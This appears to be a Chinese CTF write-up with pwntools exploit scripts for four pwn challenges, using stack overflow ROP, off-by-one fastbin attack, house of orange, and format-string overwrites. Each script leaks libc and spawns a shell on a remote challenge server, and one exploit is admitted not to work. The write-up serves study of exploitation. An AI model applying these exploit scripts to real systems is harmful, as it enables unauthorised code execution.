栈溢出漏洞,通过0x10
的输入修改rbp
,通过判断,使得输入的大小改为0x100
,修改返回地址,调用puts
泄露libc
地址,由于rbp
改变,在进行一遍覆盖rbp
,覆盖返回地址即可getshell
# encoding=utf-8
from pwn import *
file_path = "./babymessage"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x400963\\\\n")
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.27/lib/libc.so.6')
one_gadget = 0x0
else:
p = remote('123.56.170.202', 21342)
libc = ELF('./libc-2.27.so')
one_gadget = 0x0
def leave_name(name):
p.sendlineafter("choice: \\\\n", "1")
p.sendafter("name: \\\\n", name)
def leave_message(message):
p.sendlineafter("choice: \\\\n", "2")
p.sendafter("message: \\\\n", message)
def show_message():
p.sendlineafter("choice: \\\\n", "3")
def shut():
p.sendlineafter("choice: \\\\n", "4")
p_rdi_r = 0x400ac3
p_rsi_r15_r = 0x400ac1
call_write = 0x400904
call_puts = 0x40087C
main_address = 0x4009DD
mm_address = 0x6010c0
leave_message_address = 0x400821
jmp_rbp = 0x0000000000400d23
leave_ret = 0x0000000000400886
work_address = 0x40091A
leave_name("9999")
leave_message(p64(leave_ret) + p64(mm_address + 0x18-0x4))
leave_message(p64(leave_ret) + p64(mm_address + 0x8) + p64(p_rdi_r) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(work_address))
p.recvline()
p.recvline()
libc.address = u64(p.recv(6).ljust(8, b"\\\\x00")) - libc.sym['read']
log.success("libc address {}".format(hex(libc.address)))
leave_message(b"b"*0x8 + p64(mm_address + 0x18-0x4))
leave_message(p64(leave_ret) + p64(mm_address + 0x18-0x4) + p64(p_rdi_r) + p64(libc.search(b"/bin/sh").__next__()) + p64(p_rsi_r15_r) + p64(0)*2 + p64(libc.sym['system']))
p.interactive()
在reset
申请0x18
大小的堆块,之后进行strcpy
的时候存在off-by-one
漏洞
首先通过unsorted bin
残留的地址泄露出libc
基址,接着利用off-by-one
漏洞造成chunk extend
,释放之后再次申请就可以直接控制下一个chunk
的fd
指针,fastbin attack
覆写malloc_hook
# encoding=utf-8
from pwn import *
file_path = "./babynotes"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x400F67")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0xf1207
else:
p = remote('123.56.170.202', 43121)
libc = ELF('libc-2.23.so')
one_gadget = 0xf1207
bbs_address = 0x6020c0
def regesit(name, motto, age):
p.sendafter("name: \\\\n", name)
p.sendafter("motto: \\\\n", motto)
p.sendlineafter("age: \\\\n", str(age))
def add(index, size):
p.sendlineafter(">> ", "1")
p.sendlineafter("Input index: ", str(index))
p.sendlineafter("Input note size: ", str(size))
def show(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("Input index: ", str(index))
p.recvuntil("Note {}: ".format(str(index)))
def delete(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("Input index: ", str(index))
def edit(index, content):
p.sendlineafter(">> ", "4")
p.sendlineafter("Input index: ", str(index))
p.sendafter("Input your note: ", content)
def reset(name, motto, age):
p.sendlineafter(">> ", "5")
regesit(name, motto, age)
def check():
p.sendlineafter(">> ", "6")
def shut():
p.sendlineafter(">> ", "7")
regesit("12", "12", bbs_address)
add(0, 0x18)
delete(0)
add(2, 0xd0)
add(5, 0x28)
delete(2)
add(1, 0x68)
add(0, 0x68)
delete(5)
show(0)
libc.address = u64(p.recv(6).ljust(8, b"\\\\x00")) - 88 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))
reset(cyclic(0x18), cyclic(0x20), 0xe1)
delete(1)
add(1, 0xd0)
delete(0)
edit(1, cyclic(0x68) + p64(0x71) + p64(libc.sym['__malloc_hook'] - 0x23))
add(0, 0x68)
add(2, 0x68)
edit(2, b"\\\\x00"*3 + p64(0)*2 + p64(one_gadget + libc.address) + b"\\\\n")
add(3, 0x30)
p.interactive()
edit
处存在一个0x8
字节的溢出,利用house of orange
释放top chunk
,泄露libc
基址。申请0x1000
的堆块的时候又获得了一次edit的机会
case 5
处的判断好像没有用,写入__malloc_hook-0x60
的地址可以通过,因此利用edit处的数组越界,对malloc_hook
进行改写
# encoding=utf-8
from pwn import *
file_path = "./Just_a_Galgame"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x04012C2")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x10a45c
else:
p = remote('123.56.170.202', 52114)
libc = ELF('libc.so.6')
one_gadget = 0x10a45c
def add():
p.sendlineafter(">> ", "1")
def edit(index, content):
p.sendlineafter(">> ", "2")
p.sendlineafter("idx >> ", str(index))
p.sendafter("movie name >> ", content)
def malloc_big_chunk():
p.sendlineafter(">> ", "3")
def show_all():
p.sendlineafter(">> ", "4")
def shut(content):
p.sendlineafter(">> ", "5")
p.sendafter("a while? QAQ\\\\n", content)
buf_list = 0x404060
add()
edit(0, p64(0)+p64(0xd41))
malloc_big_chunk()
add()
show_all()
p.recvuntil("1: ")
libc.address = u64(p.recv(6).ljust(8, b"\\\\x00")) - 0x660 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))
shut(p64(libc.sym['__malloc_hook'] - 0x60))
index = int((0x4040A0-0x404060)/8)
edit(index, p64(one_gadget + libc.address))
add()
p.interactive()
这题目难顶,一开始写返回地址用的是rop
链,调system
,发现rsi
控制不了,字符串超了。之后改用gadget
,眼睁睁看着进了system
,execve
感觉也没啥问题,难顶,最后队友搞出来了。
后面填坑
# encoding=utf-8
from pwn import *
file_path = "./Siri"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path], env={"LD_PRELOAD":"./libc.so.6"})
gdb.attach(p, 'b *0x5555555552B1\\\\nb *0x555555555417')
libc = ELF('./libc.so.6')
one_gadget = 0x10a45c
p_rdi_r = 0x10a45c
else:
p = remote('123.56.170.202', 12124)
libc = ELF('libc.so.6')
one_gadget = 0x10a45c
p_rdi_r = 0x10a45c
str_head = "Remind me to "
p.sendlineafter(">>> ", "Hey Siri!")
payload = "%80$p %81$p %82$p %83$p"
# payload = "%08x "*0x10
p.sendlineafter(">>> ", str_head + payload)
p.recvuntil("remind you to ")
stack_address = int(p.recvuntil(" ", drop=True), 16) - 0x1b0
canary = int(p.recvuntil(" ", drop=True), 16)
elf.address = int(p.recvuntil(" ", drop=True), 16) - 0x14d0
libc.address = int(p.recvline().strip(b"\\\\n"), 16) - 231 - libc.sym['__libc_start_main']
strncmp_got = elf.got['strncmp']
system_address = libc.sym['system']
log.success("strncmp address {}".format(hex(strncmp_got)))
log.success("system address {}".format(hex(system_address)))
binsh_address = libc.search(b"/bin/sh").__next__()
p_rdi_r += libc.address
one_gadget += libc.address
log.success("r rdi ret {}".format(hex(p_rdi_r)))
log.success("one gadget {}".format(hex(one_gadget)))
payload = str_head
# 0x7ffff7a373c2
payload += "%{}c%57$hn".format(0xffff & ((one_gadget & 0xffff) - 27))
payload += "%{}c%58$hn".format(0xffff & (((one_gadget >> 16) & 0xffff) - (one_gadget & 0xffff)))
payload += "%{}c%59$hn".format(0xffff & (((one_gadget >> 32) & 0xffff) - (one_gadget >> 16) & 0xffff))
payload += "%{}c%60$hn".format(0xffff & (((one_gadget >> 48) & 0xffff) - (one_gadget >> 32) & 0xffff))
payload = payload.ljust(0x48, "a").encode()
payload += p64(stack_address + 0x8)
payload += p64(stack_address + 0x8 + 2)
payload += p64(stack_address + 0x8 + 4)
payload += p64(stack_address + 0x8 + 6)
# # 0x7ffff7a3752b
# payload += "%{}c%78$n".format((system_address >> 32 & 0xffff) - 27)
#
# payload += "%{}c%68$hn".format(0xffff & ((p_rdi_r & 0xffff) - (system_address >> 32 & 0xffff) ))
# payload += "%{}c%69$hn".format(0xffff & (((p_rdi_r >> 16) & 0xffff) - (p_rdi_r & 0xffff)))
# payload += "%{}c%70$hn".format(0xffff & (((p_rdi_r >> 32) & 0xffff) - (p_rdi_r >> 16) & 0xffff))
# payload += "%{}c%71$hn".format(0xffff & (((p_rdi_r >> 48) & 0xffff) - (p_rdi_r >> 32) & 0xffff))
#
# # 0x7ffff7b990be
# payload += "%{}c%72$hn".format(0xffff & (binsh_address & 0xffff) - (p_rdi_r >> 48) & 0xffff)
# payload += "%{}c%73$hn".format(0xffff & ((binsh_address >> 16) & 0xffff) - (binsh_address & 0xffff))
# payload += "%{}c%74$hn".format(0xffff & (((binsh_address >> 32) & 0xffff) - ((binsh_address >> 16) & 0xffff)))
# payload += "%{}c%75$hn".format(0xffff & (((binsh_address >> 48) & 0xffff) - ((binsh_address >> 32) & 0xffff)))
#
# # 0x7ffff7a74c67
# payload += "%{}c%76$hn".format(0xffff & ((system_address & 0xffff) - (binsh_address >> 48) & 0xffff))
# payload += "%{}c%77$hn".format(0xffff & (((system_address >> 16) & 0xffff) - (system_address & 0xffff)))
#
# payload = payload.ljust(0xa0, "a").encode()
# payload += p64(stack_address + 0x8)
# payload += p64(stack_address + 0x8 + 2)
# payload += p64(stack_address + 0x8 + 4)
# payload += p64(stack_address + 0x8 + 6)
# payload += p64(stack_address + 0x10)
# payload += p64(stack_address + 0x10 + 2)
# payload += p64(stack_address + 0x10 + 4)
# payload += p64(stack_address + 0x10 + 6)
# payload += p64(stack_address + 0x18)
# payload += p64(stack_address + 0x18 + 2)
# payload += p64(stack_address + 0x18 + 4)
# payload = payload.ljust(0x100, b"\\\\x00")
# payload = "%08x "*0x10
p.sendlineafter(">>> ", "Hey Siri!")
p.sendlineafter(">>> ", payload)
log.success("system address {}".format(hex(system_address)))
log.success("bin sh address {}".format(hex(binsh_address)))
log.success("stack address {}".format(hex(stack_address)))
log.success("binary base {}".format(hex(elf.address)))
log.success("canary {}".format(hex(canary)))
log.success("libc address {}".format(hex(libc.address)))
p.interactive()
从客户端来看首先是发送的G
,然后服务端返回btime
,客户端对数据进行加密之后发送boffset
,enc_data
。
加密函数中随机产生的数据,如fn,salt
都包含在加密数据的起始位置,如果可以得到这些随机数据既可以对数据流进行解密